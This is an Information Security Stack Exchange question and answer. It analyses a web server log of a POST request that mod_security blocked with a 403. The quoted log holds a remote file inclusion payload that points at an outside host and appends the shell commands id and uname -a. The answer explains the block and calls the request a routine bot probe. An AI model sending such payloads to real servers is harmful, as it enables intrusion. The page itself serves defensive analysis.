Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I have the following Wireshark log and I want to categorize the attack. I think it prints the user under apache runs and then prints the system information. From this log can we determine if the attack was succesful? In my opinion it was not because of the apache's mod-security.

Request: 200.158.8.207-- [19/Jan/2012:19:40:46 --0400] "POST /index.php HTTP/1.1" 403 743
Handler: cgi-script
POST lindex.php HTTP/1.1
Host: www.foo.com
Connection: keep-alive
Accept: '/'
Accept-Language: en-us
Content-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla 4.0 (Linux)
Content-Length: 65
X-Forwarded-For: 200.158.8.207
mod_security-message: Access denied with code 403. Pattern match "unamelx20-a" at
POST_PAYLOAD
mod_security-action: 403

65
lid=http://th3.ownz. p5. org. uk/lila.jpg?&cmd=cd /Imp; id; lsuname -a
share|improve this question
add comment

1 Answer

mod_security sent the user a HTTP 403 response, which means (quoted from RFC 2616):

The server understood the request, but is refusing to fulfill it. Authorization will not help and the request SHOULD NOT be repeated. If the request method was not HEAD and the server wishes to make public why the request has not been fulfilled, it SHOULD describe the reason for the refusal in the entity. If the server does not wish to make this information available to the client, the status code 404 (Not Found) can be used instead.

The reason for this block is it matched the pattern "uname -a" which is a unix command for returning system information. Here is an example output of such command:

Linux k4rrax 2.6.35-32-generic #64-Ubuntu SMP Mon Jan 2 23:31:33 UTC 2012 i686 GNU/Linux

This "attack" is probably just a random scriptkiddie or bot trying to see if it can exploit you in any way. It is very commonly seen on the internet. The origin IP adress is already blacklisted several places: https://www.google.com/?q=200.158.8.207

share|improve this answer
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.